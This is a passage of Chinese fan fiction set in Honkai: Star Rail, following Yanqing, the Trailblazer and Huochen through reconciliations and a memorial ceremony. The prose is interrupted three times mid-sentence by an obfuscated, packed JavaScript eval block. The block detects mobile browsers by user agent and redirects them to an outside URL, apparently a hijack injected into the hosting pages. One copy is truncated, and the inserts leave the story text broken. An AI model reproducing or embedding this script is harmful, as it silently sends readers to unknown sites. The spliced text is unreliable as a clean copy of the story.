两边说了几句客气话,锦书父母就走了,过一小会儿,锦书端着碗跑回来:“他们有发现我吗?” 火尘摇头。 开拓者:“欸,原来那是你父母啊。” 火尘呆住。 原来你不知道吗! 散场时,小燃飞回来,刚才三个人说话,他不知道看到什么就跑出去了,一直到现在才回来。 “火尘火尘,给我打包,我要带回去吃。” 是是是。 小燃说自己去看杂技表演,还看到会演杂技的守护甜心,说得他也想看了。 “你没看到真可惜,不过你本来就是来看开拓者的,开拓者怎么样?” “不知道。” 小燃嫌这回答敷衍,懒得再问,到家时飞到桌边吃他的打包大餐。 火尘洗漱时,想起那句“你们都是我的朋友”,有点不明白。 他和开拓者只见过两面,没有帮过开拓者任何忙。如果成为朋友的条件如此宽松,那彦卿应该也能算开拓者的朋友? 他们约了明天当面解释。 火尘躺在床上玩玉兆,心里还惦记着这个事,戳进和彦卿的聊天界面,想不出要问什么,上面还是一片空白。 算了,睡吧。 说是这么说,还是不想睡,就这么举着玉兆发呆,然后在界面上方出现“对面正在输入”时猛地一抖,玉兆一下砸脸上。 真是无语。 他顾不上无语,翻个身重新看聊天界面,但上面并没有多出一条消息。 误触吧。 他怀着不知道什么心情磨蹭了十分钟,熄屏又亮屏,最后一下关掉玉兆扔到床尾。 行了,是误触,误触! 睡觉! 28.彦卿和开拓者 彦卿在院子里练剑。 仙舟的日夜交替由人工调控,各个洞天景致不一,没有什么提醒时间的标志物,人一忙起来就像陀螺一样晕头转向,不知道几时停。 开拓者认真点头。 “老师有同感?” 彦卿收剑,去屋里端了茶水点心出来,坐到开拓者对面。 两人坐在凉亭内,开拓者没答话,他也不好找新话题,索性沉默下来。 微风拂过,金黄的银杏叶在外围四散飘落,也算得好景致。彦卿注意到不远处放着将军的棋盘,大概是昨天、还是前天?将军回来时拿出来的,一会儿还得收回去…… “妨碍你捉拿卡芙卡了,真对不起。” 因为安静,开拓者开口显得突然,但彦卿也算有准备,摇摇头: “老师并未做什么,不必急着道歉。” “列车组帮了罗浮大忙,若没有各位参与,幻胧大概会凭着一手玩弄人心之术将罗浮闹个天翻地覆,如今大战结束,罗浮理当奉各位为座上宾。” 同途经此地仗义出手的列车组相比,他一个跑错战场的云骑骁卫,哪里还有理由心生怨怼。 “彦卿在此,感谢各位出手相助。” 其实开拓者不解释也不影响什么,因为将军已经确定了与星穹列车的结盟关系,追捕卡芙卡的任务也已经撤销,慰灵奠仪将要召开,看样子星核猎手也已经离开罗浮了…… 但开拓者显然不这么想。 “一码归一码,彦卿,”开拓者摇头,这是彦卿见他的第二面,灰发青年眼神沉静,话音带着毋庸置疑的笃定,“我当日并未被言灵控制,这件事是我欠你一个解释。” 彦卿于是不说话了,安静听。 对面低头垂眼,像是在整理思绪,然后: “我睁眼见到的第一个人就是卡芙卡。” 开拓者说了他在黑塔空间站的“出生”、空白的记忆、被按入体内的星核、敌友难辨却态度熟稔的星核猎手,和他在星穹列车认识的伙伴。 “卡芙卡和我的过去有着莫大的渊源,她联系我保护她不被云骑抓走,我没法拒绝,之后也是配合她在你面前演戏。” 青年神色依然平淡,这是他基于自身意愿做出的选择,没什么不能承认的:“我假装被言灵控制,对你出手了,这件事我很抱歉。” 很抱歉,但再来一次,他大概还是会这么选——他可以控制对彦卿出手的轻重,却控制不了卡芙卡二次出现的时机,以及就算再次出现,她也未必会再愿意告诉自己那么多信息了。可以说是仅此一次的机会。 然而他到底是对一个孩子出手了,对一个为他受言灵控制而愤怒不已的孩子,对一个初次见面就拼上性命想要救他的孩子。 那孩子如今就坐在他对面,沉默片刻,抬头问: “老师获知了自己想要的信息了吗?” 算吗?算吧。开拓者回想一遍,卡芙卡说的许多都模棱两可,还需要判断真假,但比起之前两眼一抹黑还是好了太多。 他点头。 “那真是太好啦,”对面少年跟着他点头,眼神清亮依旧,像是真切地为他高兴,“说明老师选对了,没有做无用功。” 开拓者微怔。 彦卿微笑。 他这些日子一直在思考,想很多事情。有些想清楚了,有些还想不清楚。 将军希望他心里不要留疙瘩,他就想啊想,想自己心里的疙瘩是什么,想自己是否真的如此在意此事。 后来想明白,他的疙瘩在于自己因为信息量不够做了错误的判断,险些惹出祸事来,面对镜流、饮月君、刃,还有卡芙卡和开拓者时都是如此,不单单是眼前这一件事。 如果他知道全情,或许就不会那样做。可是没有如果,当时的他知道的就是那些,他在已知信息的基础上做了自认为正确的事,然后得到了那样的结果。 难道用现在的眼光去指责当时的自己不够周全,就算作成长了吗? 【你没有在看自己了,所以心灵之蛋才会闭拢,除此之外没有别的原因。】 他重新开始注视自己,开始回想自己追踪通缉犯的急迫心情,回想那些打不败的阴影;开始理解当时的自己为什么那样做,开始接受当时的自己确实那样做了;也开始处理自己那样做带来的后果。 这样很好,说不出好在那里,但有一种自己正在长成大人的感觉。 眼前的开拓者话里也是如此。 “你不怀疑一下我话里的真假吗,”开拓者抬手扶额,提醒他,“我当天确实和卡芙卡站在一起,就在你面前。” “老师很、坦然,”他琢磨一圈,终于找到合适的形容词——接受自己的全部、不避讳,而不是因为做得不够好就想方设法割舍掉,是谓坦然,“或者说‘坦荡’?彦卿觉得可以相信。” 仙舟古语:君子坦荡荡,小人长戚戚。 开拓者没有说话。 “老师,”他摆出起手式向对方示意,斗志昂扬,“我们重新交一次手吧。” 这应当也是将军希望看见的。 开拓者低头看他,良久,转身拉开距离,回身时朝他露出一个有点嚣张的笑容,就掏出球棒攻了上来。 两人从亭内打到亭外,招式带起的风裹着地上的银杏叶上下翻飞,金灿灿的煞是好看。彦卿躲过一棒时心有所感,回身看向自己房间。 “当心了!” 开拓者打得很快乐,提醒他回神,他急忙凝出剑阵拉远距离。 刚才他好像,感觉房间里自在的蛋动了一下? 不是错觉。 彦卿眼神发亮,重新提剑上前。 行动本身没有错。做出了错误的判断,至少能明白那是错的,可以排除一条错误路线;停在原地,大概什么也得不到。 难道等将军来告诉他?等将军来,帮他把信息补全,指一条正确的路给他走? 才不要。 将军费心教导他,显然不希望他变成没有思考能力的人偶。 将军希望他如何呢? 彦卿想起: 将军没有告诉他这次事件的信息。 他知道将军信任他不假,所以此次隐瞒更多是出于能力、阅历、事件复杂程度上的考虑——直白一点说,是他还没有成长到能让将军主动分享信息的程度。 【你还太小了。】 继续等下去……光靠等就能长大吗?那他要等多久,才能长到将军愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358952|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉他的程度? 不行动的话,可能一辈子都等不到了吧。 他没有将军那么神机妙算,就更应该多观察、多思考、多行动,一点一点接近正确答案。不能因为害怕犯错就止步不前。 两人打完了,坐回原位休息,他絮絮叨叨说了一堆,开拓者也不嫌他吵,在他说完之后还认真回应:“能这样想很了不起。” 彦卿咧嘴笑。 理解一个人,从主动注视他开始。注视自己,注视对方,就像自己回头时总会对上的那双眼睛。 他昨晚想了一宿,想到这一点时很兴奋,因为是从火尘的注视里得到的启发,想要发消息告诉火尘,看时间太晚就放弃了——自己已经打扰对方很久了。 将军告诉他开拓者确定可以信任,他就试着去理解对方,也就大致已经想到,开拓者和卡芙卡有些联系在,做好了心理准备。如今开拓者开诚布公说了,更是叫人欣喜。 “卡芙卡对于仙舟来说是星际通缉犯,对于老师来说则是与过去的重要联系。”一个人有很多面,这一点彦卿已经理解了。 “但老师,彦卿还有一事不解。” 开拓者昂头,示意他说下去。 “彦卿不会停止行动,会吸取教训尽量行事周全,但或许还会有捅出篓子的时候,届时该如何处理?” 祈龙坛上,若非卡芙卡和将军现身,他与那二人混战怕是不好收场,当然,是现场实力最弱的他不好收场; 而面对卡芙卡和开拓者,若非火尘出现把他捞走了,怕是也免不了多纠缠一阵,在言灵控制下冲撞了客人。 开拓者慢吞吞: “能自己处理就自己处理。” “我处理不了的话,我的朋友会来帮我。” 彦卿怔愣,玩笑一般:“算是给朋友添麻烦?” “彦卿,那不能算是添麻烦,”开拓者摇头,“是朋友的话,就不会嫌你麻烦。” “我的事就是他们的事,他们的事就是我的事,我们连结在一起,”开拓者揉揉他的脑袋,“你也一样。” 彦卿不明白。 “你如果硬要这么想,那当天你的朋友为了捞你跑到我和卡芙卡跟前,也是你让他身陷险境的?” 他有意反问,彦卿却好像得了提醒,表情一下子后怕起来:“火尘……” “万一他把命丢在那里了,你也要说都是你的错吗?” 彦卿呆住,抬眼看他,眼里明晃晃的:难道不是吗? 孩子爱钻牛角尖,钻完一个又来一个。 开拓者很不赞成,摇头:“你的朋友是出于自身意愿来救你的,知道你这样想,大概会很难过。” 彦卿也摇头:“就算他有意愿,可我才是云骑军,让他置身险境,原本就是我不对……” 这么一说,彦卿就想起来这不是第一次了:火尘第一次见面就差点被他冻死,在工造司旁观他对上镜流那一剑,又在丹鼎司差点被孽物袭击…… “行了行了,请你吃东西,别想这些了。” 彦卿愁眉苦脸地被拉走了,后来因为慰灵奠仪在即,任务一个接一个,人也忙起来才没想这些。 一直到慰灵奠仪当天。他已经三天没见火尘。 29.慰灵奠仪 星槎海是罗浮的新兴商业中心,往日人流便十分密集,今日举办慰灵奠仪,更是人挤人。 慰灵奠仪,狐人族的传统,将死难者的遗体或生前喜爱的物品放入星槎,星槎先后驶向星海,是谓“正首青丘”,期望死难者乘着飞船回到千年未归的故乡。 一场大战后,逝去的生命落在满天星槎里,看上去十分壮观,想到这代表什么,又让人不由悲伤。 一艘星槎里装着一个人的所有,生前有那许多,死后都归于沉寂,落在军务厅的军报上,就成了一行单薄的数字。 彦卿全程沉默,仰头看着星槎驶向星海,只在陪同将军会见开拓者时叮嘱了一句“该回去休息”,又旁观将军将结盟玉兆赠与列车组,寒暄几句,就出去帮忙维持散场秩序了。 直到人群也散得七七八八,他后知后觉星槎海的永昼白光晃眼睛,恍惚着不知道接下来要做什么,兀自向前走。 “啊——!” 彦卿眼尖,看见有小孩跌倒了,另一个伸手去扶跟着跌倒,四五岁大的身高一跌就找不着人,还正好跌在窄桥转角人最多的地方。 他急速上前,一手一个抱起,到了空旷的地方再放下,才发现还是其中一个还是熟人。 “小鱼?” “彦卿哥哥!”小鱼见了他很高兴。 另一个不太认识,但也是个乖巧孩子:“谢谢仙人哥哥,仙人哥哥好。” 仙人哥哥? 彦卿心思一转:是来仙舟游玩的短生种? 不管怎么说,放两个孩子单独行动还是太危险了,他蹲下:“小鱼,你姑母呢?” “姑母在下面看星槎,”小鱼往下指,一边跟他保证,“小鱼记得路,没有乱跑。” “仙人哥哥,不怪小鱼,是我拜托她帮我找仙女姐姐……”陌生小男孩神情内疚,“但是我没注意小鱼眼睛看不见。” 小鱼摇头:“不怪冬生,因为小鱼没有说。” 他瞧着这两孩子互动心软,现下也没别的事:“你们想找什么人?我也来帮忙找吧。” “仙女姐姐叫‘沐芳’。” 叫“冬生”的小男孩认真回想,想不起名字,只记得一些特征和坊间传言,而后对彦卿认真说了一遍仙女姐姐做过的事情。 彦卿越听越怪:把仙舟的技术带出去给当地物种做实验,这是严重违规啊,可以入不赦十恶的违规。这人若是真回到了仙舟,此刻多半是已经被关进幽囚狱了。 沐芳、沐芳……名字有点耳熟。 他皱起眉头想想,突然想起:确实有个重罪犯叫沐芳,因为最近建木危机和药王秘传,这人如今还在星槎海等待押着去见十王。 如果这小孩真要见,现在带去天舶司里侧回廊,应该还见得到; 可真让他见到了,他一定会知道自己的仙女姐姐非但不是什么善人,甚至还是害他家乡物种变异的大恶人。 彦卿有些头疼。 小鱼突然伸手拉拉他的飘带,他顺着力道低头,看见小鱼对他摇头。 什么意思? 小鱼转头对冬生:“我们刚才找了一圈,都没有看到沐芳姐姐,可能她在别的洞天,也可能她出去旅游了。” 冬生愣愣的:“哦,好。” 彦卿也愣住,看小鱼口齿清晰、问话耐心:“冬生晚饭在哪里吃?” “在星槎海的说书先生那里。” “那你现在该回去找先生了,不然先生会担心。” 冬生点头:“嗯嗯,小鱼你也要去找你姑母。” 小鱼应好,待人走了之后,抬头看彦卿,看上去有点伤心。 彦卿急忙蹲下:“小鱼……” 小姑娘攥紧衣摆,向他的方向:“小鱼找到那个姐姐了,但只能撒谎说没找到,因为看守的大哥哥说那个姐姐马上要去坐牢了。” 原来如此。 彦卿声音放轻:“小鱼不想让他伤心才这样做,真了不起。” 真的很了不起,简直让人想不到这是个才四五岁的孩子。 仙舟在星海巡航,路过的星球未必还能再路过第二次,冬生误打误撞跟着飞船来了罗浮,返回原本星球的几率已经很小; 而沐芳作为带他来到这里的仙女姐姐,算是他在这艘陌生大船上与故乡仅有的联系,又要去坐牢了,以后都不一定能见面。 与其让冬生抱着受骗的愤懑和惶恐继续待在仙舟,倒不如让冬生怀着希望和思念慢慢长大,到那时再告知真相,或许会更好接受。 彦卿不知道小鱼想到了多少,但表现出来的这部分已经让人惊叹。 小鱼空茫的眼缓缓睁大,显然没想到这样做会得到夸奖,因为: “火尘哥哥,就把丹枢大人的事情都告诉我了。”所以擅自隐瞒似乎不太对。 “火尘他……”彦卿说一半,发现自己也拿不准火尘怎么想,“他兴许有自己的想法。” 而且丹枢是药王秘传魁首,事件影响太大,就是想瞒也瞒不住。 小鱼点头会意。 彦卿牵着人往前走两步,正朝小鱼所指的姑妈的方向,小鱼突然停下了,望着他欲言又止。 “怎么了?” 小朋友不说话。 彦卿蹲下来,等她整理。 似乎是一句很难的话,小鱼张口时有些胆怯: “彦卿哥哥,小鱼想念丹枢大人。” 彦卿一愣。 “但是大家都说,丹枢大人是坏人,小鱼是不是不应该想念?” 他想想,看向小鱼不能视物的眼睛:“人有很多面。” “小鱼想念的不是丹枢坏的那一面,不必为此愧疚。”刚明白的道理今天就用上了,也是好事。 说完揉揉小鱼脑袋:“不过彦卿哥哥有自己的立场,就不和你一起想念了。” 毕竟今日慰灵奠仪上这众多死难者,都和丹枢脱不了干系。 小鱼认真点头,又一次得到理解,露出一个笑,连着胆子也大了不少,开始和他分享更多: 说今天姑母出门差点忘带东西,她提醒姑母,得了夸奖; 说今天一直都走得很稳,没有摔倒; 说和冬生约好了下次再一起玩。 小朋友的快乐简单得不可思议。彦卿一条一条夸过去,小鱼高兴的时候他就跟着高兴,直到: “帮冬生找到那个姐姐的时候,冬生很高兴,我也很高兴,”小鱼是真的很高兴,牵着他的手摇头晃脑,“好像终于有用一回。” 用“有用”来形容自己可不太好…… 彦卿顿住,琢磨着怎么讲才好,小鱼已经跟着停下,仰头看他: “彦卿哥哥,小鱼之前觉得给你添了麻烦。” “嗯?”彦卿在脑子里搜刮一阵,想不起什么麻烦。 小鱼提醒他:“就是那天,机巧鸟把那个人叼起来的事呀。”“最后是彦卿哥哥处理的吧。” 机巧鸟、叼起来…… 他想起来了,失笑:“那怎么能算是添麻烦?” 身为云骑,处理市民纠纷也算分内之事。他对小鱼说了一遍,小鱼听不太懂,他想想,改了说法: “是因为那些家伙欺负小鱼,火尘哥哥想要帮小鱼的忙才会那样做,我只是做出判断而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362556|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细究下来,他其实没帮上什么忙,就更加不至于说小鱼给他添了什么麻烦。 小鱼点头:“我也跟火尘哥哥说,我给他添了麻烦。” 彦卿一阵好奇,预感又要听到出人意料的发言了,问:“火尘怎么说?” “火尘哥哥说,他给我添的麻烦也不少。” 小鱼慢吞吞,说得很认真:“可是小鱼记得明明没有。” “他硬要说有。” “可是就是没有。” 真可爱。彦卿心想,小朋友认真起来让人无奈又好笑,兴许当时也是这样一脸认真地跟火尘掰扯到底有没有,然后火尘板着脸跟小孩犟嘴到底。 真可爱。他笑了,又迅速回神,咳两声继续听。 “火尘哥哥就说,现在没有以后也会有的。” “反正大家每天都在互相添麻烦。” 前半句像在耍赖皮糊弄人,不过后半句…… 大家每天都在互相添麻烦。 彦卿从这句话里听出了些意味,直到把小鱼送回姑母身边都还在琢磨,边走边想。 他五感灵敏反应也快,在人群中走神也不至于撞到人,感觉到前面有人,头都不用抬,多绕几步就是。 直到身后飘带被一把拽住了,他一愣,扭头。 他三天没见的朋友站在那里,不说话,手上拽着他的飘带,脸色黑得像是对面欠了他几百万巡镝。 “火尘?” 彦卿看着那张脸,一下子想不到太多,回身高高兴兴打招呼:“好久不见!我好想你!” 火尘一怔,面色稍霁,松开他的飘带,不咸不淡:“想我还绕开我三回。” 欸,刚才吗? 彦卿下意识:“你没叫我嘛。” 他就当成路人绕开了咯。 话一出口就像在找理由,彦卿觉得这样不太好——他无视人家,人家没说什么,他先委屈上了。 但火尘在对面咬咬牙,只说:“……行,下次叫你。” 脾气真好。彦卿高兴想。 思路被打乱,但人就在跟前了,想东想西不如直接问: “火尘,‘大家每天都在互相添麻烦’,是什么意思?” “嗯?” “小鱼跟我说你对她说过这句。” “我怎么不记得……” 火尘嘀咕两句,还是顺从想想,随后面露诧异,像是疑惑问题这么简单他怎么不明白:“就是字面意思。” 彦卿还是不懂。 火尘问他:“你有没有觉得自己给我添麻烦过?” 彦卿点头点头。 “那你觉得我有给你添麻烦吗?” 彦卿摇头:“没啊。” 火尘总是可以完美解决自己遇到的所有问题,虽说有些问题在大人眼中都只是小问题,但彦卿还是觉得很厉害。 火尘叹气,手搭上他肩膀:“没有你在,我早就死了好多回了,这还不算麻烦?” “保护仙舟住民是云骑军的职责。” 火尘反问他:“那刨除云骑军的身份呢?有什么事情是你生来就要去做的吗?没有吧。” “不救我对你有什么损失吗?没有吧。” 都是些从道理上来讲没必要做的事,大家每天都在做这些没必要的事。因为生活在人群中,注定要与人产生联系。 即便他一度放弃建立联系,现在也还是…… “彦卿,”他望着对面的脸叹气,“你不能只在责怪自己的时候想到添麻烦。”别人给你添的时候就忘个精光。 我们每天都在互相添麻烦,因为我们靠得如此之近。 30.想要和你建立联系 彦卿抛不开云骑军的身份。 天赋卓绝,自幼入伍斩敌建功,功劳够了,四年前又在神策府考校中夺魁,被将军提拔为骁卫。 十四年的人生里有一半多是在军队度过的,如何抛得开? 火尘一看他那表情就知道,叹气,靠着栏杆不说话了。 他不说话,彦卿也不说。不远处有一对讲相声的搭档,你一句我一句讲得正乐呵,越发显得他们这边安静。 许久,他听到彦卿开口,语带迟疑:“你又生气了吗,火尘?” ? 不是? 什么叫我“又”生气了!什么“又”?“又”什么?又又又! 火尘气不打一处来:说得好像我很难搞似的…… 他想了彦卿三天,惦记着彦卿事多不好打扰,又加上自己那些乱七八糟的想法和工造司乱七八糟的杂活,一下子没敢见对方。 今天远远见到了,鼓起勇气走过来了,想着那些七七八八的都以后再说,他就打个招呼,结果被躲开三回。这人滑溜得跟泥鳅似的,抓也抓不住。 好不容易抓住了,一开口说想他,好嘛,一边说想他一边像是要撇清关系一样说“添了麻烦”“真对不住”,火尘烦得很,又有些莫名其妙的委屈,憋着气想: 我就是很难搞怎么了! 小燃似乎感应到什么,从他口袋里探出头看看他,又看看彦卿,最后说: “彦卿,你要吃点什么吗?火尘请客,算是回礼。” 彦卿摇头,显然心里装着事:“不用,我不想吃。” 不吃就不吃。 火尘扭头大踏步走去小吃摊边:“那我吃了。” 彦卿还在应他:“哦,好。” 应得他一肚子火。 他停在小吃摊边,不买也不看,梗着脖子生闷气,守护甜心飞在他旁边。 “你到底在生什么气啊?”连小燃也看不明白了。 “……不知道。”他闷闷回。 离彦卿远了几步,他又开始想了,回头看一眼,彦卿还站在那里等他回来,身姿笔挺,面上却现出游神似的恍惚。 那恍惚让他想起一些不太好的回忆,尤其是丹鼎司的海上廊桥上,彦卿一身湿淋淋向他走来。 也是这样恍惚。 爆发的火气像有毒气体溶于水一样消失了,火尘又慢吞吞走回去,空着手。 彦卿见了他,回神,问话声很轻:“没买吃的?” 他扭头,往小吃摊上甩锅:“没什么好吃的。” 两人站在星槎海的大桥上,上下皆有星槎来去,火尘低头看星槎,看它的尖端如何撞开那些拟造的云海,然后直冲天边的玉界门。 他听到彦卿叫他,他“嗯”一声,然后彦卿说: “没有埋怨你脾气差。” 他一下子直起身,但没转头,只“嗯”。 “我想知道我哪里没做好,惹你生气了,”彦卿解释的声音比往常更轻柔,像在安抚小动物,“这样下次就不会再犯。” “我还是不太理解你的话,但我记下了。” “可以再给我讲一讲吗?” 他维持不住表情,就佝偻下去,枕着手臂趴在栏杆上,脸埋在两臂间。 你哪里没做好? 你哪里都做好了,好到让我觉得说你不够好的人很过分。 我为什么生气? 因为你太好了,好到不理解我说互相添麻烦是想和你建立联系,一门心思要把我推开。 “火尘?” “嗯。” 他起来,边揉眼睛,边借着空隙去看彦卿,看到少年人毫无杂质的关切和担忧。 “火尘,这样对眼睛不好。” 火尘:…… 他受不了了。 我现在没空关心眼睛,我只关心你,我只关心你到底是怎么想我的。 心脏在胸口健康搏动,一下一下,像是感知到身体的主人预备要做什么,跳得越来越快: “彦卿,我……!” “火尘——!” 远远传来有些熟悉的嗓音,一嗓子给他把魂嚎回来了,他愣住,望向已经转头向声源看去的彦卿,后知后觉脑内爆炸。 【彦卿,我……】 我刚才,是想干什么啊! 他蹲下装了一会儿鸵鸟,再慢吞吞挪过去,看是谁救了他岌岌可危的神智。 一瞧,是锦书,正在冲他招手,笑得灿烂。 彦卿低头看他:“你认识?” 他点头,慢慢站起来。 老实说他还没有从刚才的事情里回过神,但架不住锦书真的很能说,而且现在还正处于兴奋状态,跑过来张口就是一大串。 至于为什么兴奋……火尘偏头,看见锦书原本空荡的肩头坐在一只陌生的守护甜心——满身首饰,闪闪发光,也笑,不过笑得相当含蓄。 “你一定想不到刚才发生了什么……啊,你好,是火尘的朋友?” 彦卿点头:“你好。” 火尘呆一下,猛地发现,彦卿对自己的态度已经算很亲近了,他对别人更有一番礼貌疏离的做派,像话本子里高傲冷淡的冰系剑修。 彦卿是高傲冷淡的冰系剑修……噗。 他刚才想爆炸,现在想笑。 “哎呀!火尘!听人说话!”锦书按着他肩膀晃晃晃,把他的神又给晃回来。 “听着呢听着呢。” 他大概能猜到锦书要说什么。 锦书到底还是做出了决定,把营业额分给店员应急,剩下的捐出。但同时她也不想放弃见家人: “我爹娘肯定会来看慰灵奠仪,我连他们站哪儿都猜得到。” 她打算在慰灵奠仪上偷偷看两眼父母兄姐,偷偷地看,就不用解释自己没钱,也不用见一些烦人的亲戚。 火尘是被叫来兜底的,虽说他不明白这事有什么底可兜,但是拒绝很麻烦,就接受了,站在这上头等着,还等来了彦卿。 然后就是锦书回来,带着重新孵化出来的守护甜心。 “你去得未免太久了点。”说好只是过去看一眼,结果他在这等了得有半时辰,从慰灵奠仪开始前到结束后。 “没办法嘛,”锦书为自己辩解,“我娘站在那里对我笑,我就不由自主走过去了……”然后不由自主待到现在才回来。 “这一定是我们狐族用来迷惑心智的高等法术,信我,等我日后学了用给你看,嗯嗯。”这人刚开始还心虚,说着说着就越来越理直气壮了。 火尘冷笑:“呵。” 重新孵化的守护甜心——记得是叫“锦绣”,飘在锦书脑袋边,对他露出一个温和又带点歉意的笑。火尘一下子不好意思起来,好像自己今天净计较些小事。 小燃又在他脑子里笑他。 彦卿的蛋面临和锦书一样的问题。他扫一眼彦卿,却发现那人不知什么时候走远了,站在不远不近的距离,对上视线了就冲他点点头。 君子端方。他想都不想就知道,彦卿大概率是听锦书提及家里人,觉得自己参与谈话不好,就自觉离远些。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366461|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他叹口气,对锦书:“稍等。” 锦书憋了一肚子话要说,沉沉点头,看样子憋得很辛苦。 他走过去,把彦卿拉进来,伸手一指:“他的情况跟你差不多,也是守护蛋闭拢,能不能当作经验讲给他听。” “嗯?行啊!” 彦卿被拉到人面前了,还有点懵,但是顺从道:“打扰了,姑娘。” “不打扰不打扰。” 锦书不介意,不如说还很高兴自己这情况并非个例,只是看着对面陌生少年袖上三只银亮飞燕,心里生出些微妙的既视感,莫名拘谨起来。 传闻中那位……应该没有这么年轻?哎,乱想! “我知道我的蛋为什么闭拢了,”她一句话把自己思路拉回来,“跟我迟迟不做判断没有关系,是因为我的想法背离了初衷。” “我想赚钱回家,在那些人面前证明自己,做不到就回家会感觉很丢脸。” “但最早最早,我只是希望大家都来依靠我。” 她只是很爱家人而已。所以为了面子不回家,是不符合她期望的。 彦卿认真听,撑着下巴思考。 火尘:“就这样?” “就这样!”锦书点头肯定,“就这么简单!” 刚才她不过是在母亲身后站久了一会儿,回神时就已经参与进话题了:家里在讨论往年由鸣火商会主办的海市庆典,今年会由哪家商会来办,他们翔水要不要争取一下。 毕竟鸣火的停云小姐出事了…… 她见过那位八面玲珑的天舶司接渡使,那位小姐真是最适合做商人,也是最适合做接渡使的。所有初到仙舟的人见了她,三言两语下总能落得好心情,进而对整个仙舟都有好印象。 听闻她在此前大战中遭难,如今想来,只能道一声世事无常。 锦书心中惘然,身边人突然开口问她怎么想的时候,下意识就接了话:“我觉得可以争取……” 一抬头,爹娘兄姐围成一圈都看着她,她才反应过来自己早就暴露了。 锦书:“可恶啊。” 火尘:“你反应未免太慢了点。” “要你管,”锦书回嘴,“不能说点好的?” 彦卿认真:“这说明姑娘的家人对姑娘很是了解在意,是关系和睦的表现。” 锦书立马高兴起来,却不知为什么不敢太放肆,最后还是收敛了心思,规规矩矩道:“确实如此,多谢公子。” 火尘:“你转性了?” “……”闭嘴! 火尘一脸疑惑,看起来很欠揍。 锦书保证要揍他,等下回旁边这公子不在的时候。 “我的经验就是这些了,”她转头看人,“对你有帮助吗?” “有。” “真的?那太好了!” 火尘站一边看这两人说话,彦卿的金发金瞳在星槎海的白光下比往日更耀眼,他看彦卿应下锦书请求,掏出自己的守护蛋给对方看,又在拿出来的瞬间注意到蛋在轻微晃动。 “哎!它动了!”锦书也看见了,大声喊道。 他看彦卿一开始还是不太确信,把蛋捧在手心仔细观察,而在看到蛋又一次晃动后,脸上霎时绽放出明亮的光彩。 是自守护蛋闭拢后,这个人展露的最不带阴霾的笑容。 真好。像是怎么也看不够一样,在对面两人盯着蛋热烈讨论时,火尘什么都没想,专心盯着好朋友的脸,再在对方有所觉转头冲他笑时回一个笑。 他心中默念:快点孵化吧,守护蛋。 31.想入非非的日子里 工造司新研发了一批引路机巧,有导盲寻路的功能。 导盲啊。 火尘低头找标价,没找到。 做成舞狮模样的小谛听站在桌上,大眼睛炯炯有神,四肢短小尾巴上翘,浑身毛绒绒,看着憨态可掬。 大概会很贵,不过真有用的话,倒也可以接受。 他随口问:“谛听是军用的吧?” “功能不一样,这一批是民用的,还是试做版,”师姐答他,“现在没做好,也就干点引路的小活儿。” “多少钱?” “你一个工匠,不探究它的运作原理,张口就是‘多少钱’,跟客人有什么区别啦。” “……买材料不是照样要钱。” 师姐无语了:“就你有理,别人十句都说不过你。” 火尘不置可否。 “你闲着也是闲着,不如帮我测试一下?” 他成天摸鱼,师姐大概也看不下去了,但还是有必要辩解一下:“售后服务挺忙的。” “得了吧,咱们售后大部分都靠机巧,剩下就那么一点点活,师父把你安排在那里,是想让你有空学习,以后好通过入门测试成为正式弟子。” 他现在还是打杂的学徒,入门测试是独立设计完成一种机巧并投入使用一年。有一个太积极的师父就是这点不好,火尘自己都没抱过这么大期望。 师姐说着说着掐他脸颊:“而且放你在前台待客正好,没浪费这么一张好脸。” 火尘:…… 他想起自己偶尔也想掐彦卿的脸,还好没这么干,那个人大概也会不高兴,跟他现在一样。 他抱起谛听就走,师姐知道他这是应下了,笑哈哈道两声抱歉就跟上来。 闭眼假装盲人来测试比较方便,但身边也得有个人看着,以免不小心绊倒。 “去哪儿测?” “都可以。” 离慰灵奠仪已经过去七天,一切正在慢慢恢复平静: 青雀加班结束终于重新有机会摸鱼,在长乐天到处晃荡,停在桌摊边看人打牌顺便跟他打招呼; 锦书回家陪父母,头两天静悄悄,第三天开始大段大段地跟他吐槽家里规矩多,最近似乎接了什么新生意又跑出来了; 开拓者像进了瓜田的猹,只要有星琼什么活儿都接,三百六十行行行插一脚,全能得有点不像人了。虽然之前他说慰灵奠仪结束后就离开,但现在看应该还会再留一阵子; 彦卿忙得神龙见首不见尾,七天里只见了他两回,回消息也很随机,偶尔顾不上打字传语音,他在这头都能听到背景里飞剑铮緃交错的破空声,于是更加不敢打扰了。 小燃:【这样很怂欸。】 火尘:【怂就怂,我本来就怂。】 